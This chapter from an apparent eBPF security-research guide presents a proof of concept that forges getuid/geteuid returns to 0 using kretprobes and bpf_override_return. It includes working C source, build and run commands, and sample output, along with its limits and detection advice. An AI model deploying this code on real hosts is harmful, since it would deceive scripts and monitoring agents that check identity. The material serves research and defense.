On this page
Chapter 18: Forging uid=0 at the Syscall Return
See also: Blog post · POC code · Harness entry
This is the canonical wrong-enforcement-point bug, reimplemented with a kretprobe. The pattern is decades old: a program consults getuid() to decide whether the caller is root and trusts the return value rather than consulting the actual current->cred at the point of enforcement. Sendmail shipped this bug. Several SUID binaries shipped it through the 2000s. A long tail of misconfigured services still ship it. The fix, every time, was the same: do the capability check at the kernel enforcement point, not via a userspace query.
What makes this version interesting is not novelty — it is simplicity. The eBPF primitive makes a decades-old attack class mechanical and repeatable. Two kretprobes, two overrides, and any program that asks the kernel “who am I?” gets back a lie. The bug class did not disappear when Sendmail was patched; it migrated. Scripts that check $(id -u) -eq 0, automation that calls getuid() before deciding whether to run privileged code, monitoring agents that correlate user identity via syscall return — they all share the same assumption. This chapter is about what happens when that assumption is wrong.
Mechanism
Two kretprobes, two bpf_override_return(ctx, 0) calls:
kretprobe/__arm64_sys_getuid→0kretprobe/__arm64_sys_geteuid→0
Both symbols are in /sys/kernel/debug/error_injection/list on the linuxkit 6.12 aarch64 kernel I tested on, so the override lands. Symbols are verified via /proc/kallsyms at load time; missing symbols are tolerated by disabling the affected program via bpf_program__set_autoload(prog, false).
What libc gets back on every getuid()/geteuid() call is 0. Programs like id and whoami then ask NSS for “the user with uid 0” and print root:
1
2
3
4
5
6
7
8
9
10
11
=== baseline: id -u / whoami as t18 (no BPF interference expected) ===
1000
t18
=== with BPF attached: should report uid=0 / root ===
0
root
[token] FORGE pid=19481 comm=sh getuid: 1000 -> 0 (root)
[token] FORGE pid=19482 comm=id geteuid: 1000 -> 0 (root)
[token] FORGE pid=19483 comm=whoami getuid: 1000 -> 0 (root)
The probe logs both the original return and the forged one, which makes the divergence plain: the kernel said 1000, the caller heard 0.
The tell
The forge is visible to anything that correlates more than one credential field. Run id with the probe attached:
1
uid=0(root) gid=1001 groups=1001
Only uid was forged. getgid() was not hooked, so gid=1001 passed through untouched. A real root process has gid=0. Any tool that correlates uid and gid; or that reads /proc/self/status, which sources Uid: and Gid: straight from task_struct->cred; sees the divergence immediately.
The attack works against id/whoami/any script that just checks $(id -u) -eq 0. It does not work against anything that actually cares.
And critically, kernel-side credential checks do not consult sys_getuid. VFS checks, capability checks, LSM hooks; they all go through current->cred, which is unchanged. cat /etc/shadow still returns EACCES. This is the entire point: the exploit class is narrow, well-known, and exactly as scoped as the historical userspace-query-based auth bugs it descends from.
Hook points
kretprobe/__arm64_sys_getuid→bpf_override_return(ctx, 0)kretprobe/__arm64_sys_geteuid→bpf_override_return(ctx, 0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// NOTE: arch-specific symbols. On x86_64 use __x64_sys_getuid / __x64_sys_geteuid.
SEC("kretprobe/__arm64_sys_getuid")
int BPF_KRETPROBE(kr_getuid, long ret)
{
int flip = 0;
if (is_target() && ret != 0) {
bpf_override_return(ctx, 0);
flip = 1;
}
emit(ret, 0, flip);
return 0;
}
SEC("kretprobe/__arm64_sys_geteuid")
int BPF_KRETPROBE(kr_geteuid, long ret)
{
int flip = 0;
if (is_target() && ret != 0) {
bpf_override_return(ctx, 0);
flip = 1;
}
emit(ret, 1, flip);
return 0;
}
char LICENSE[] SEC("license") = "GPL";
Category: ILLUSION. Forging getuid/geteuid makes id show uid=0(root) but the kernel’s current->cred->uid is unchanged. Actual privilege checks (VFS permission via inode_permission, capability gates via cap_capable, LSM hooks) all consult current->cred directly and deny. The “tell”: gid is still 1001 because getgid is not hooked; id output shows uid=0(root) gid=1001 groups=1001, which no real root session would produce.
Build
1
2
3
cd pocs/ch18-token-bypass
docker run --rm -v "$PWD/../..":/work -w /work dbpf-base \
bash -c 'cd pocs/ch18-token-bypass && make'
Run
1
2
3
4
5
6
7
8
# Wildcard: forge every getuid/geteuid call system-wide.
sudo ./build/ch18-token-bypass --all
# Targeted: forge only calls from a specific tgid.
sudo ./build/ch18-token-bypass --tgid 1234
# Multiple targets are accepted.
sudo ./build/ch18-token-bypass --tgid 1234 --tgid 5678
In another shell, run sudo bash trigger.sh. Send SIGINT to detach cleanly.
Detection
- Audit subsystem does not see this. There is no syscall failure, only a forged return.
bpftool prog showreveals two attached kretprobes onsys_getuidandsys_geteuid. On a production host these are highly anomalous attachment points and should be alerted on.- File-integrity and kernel-module monitoring will not catch it. No module is loaded.
- Detection works best at the BPF load layer:
bpf()syscall auditing withBPF_PROG_LOADrecords, plus a policy rejecting kretprobes that callbpf_override_return. - Consistency check: any monitoring agent that compares
getuid()return against/proc/self/statusUid:will flag the divergence. I have not seen anything in the wild doing this by default.
Limitations
- aarch64 only. Symbols are spelled
__arm64_sys_getuid/__arm64_sys_geteuid. On x86_64 they would be__x64_sys_getuid/__x64_sys_geteuid. The loader’s symbol preflight disables affected programs cleanly if absent. bpf_override_returnonly succeeds on functions present in/sys/kernel/debug/error_injection/list. Both targets happen to be on the linuxkit 6.12 list. On a hardened kernel without those entries, the kretprobe attaches but the override silently no-ops; the loader still emits events, butflipped=0and the userspace illusion does not occur.- Userspace illusion only. No kernel access check is bypassed. This is intentional; the POC demonstrates the class of bug, which is identical in shape to the historical “trust-the-query, not-the-cred” CVEs.
- Requires
CAP_BPF+CAP_PERFMON(or root). Inside Docker, run with--privileged --pid=host.
The reason to spend a chapter on a decades-old bug class is that the class survives. Sendmail is gone; the root-checks-by-query pattern is not — it’s still in CI pipelines, startup scripts, and monitoring agents deciding whether to escalate an alert. The eBPF version adds no new vulnerability surface. It adds an invisible way to exploit the old one.
Proof status: PROVEN on Ubuntu 6.17.0-29-generic aarch64 (Lima VM), 2026-05-20. Proof marker:
TOKEN_FORGE_PROVEN.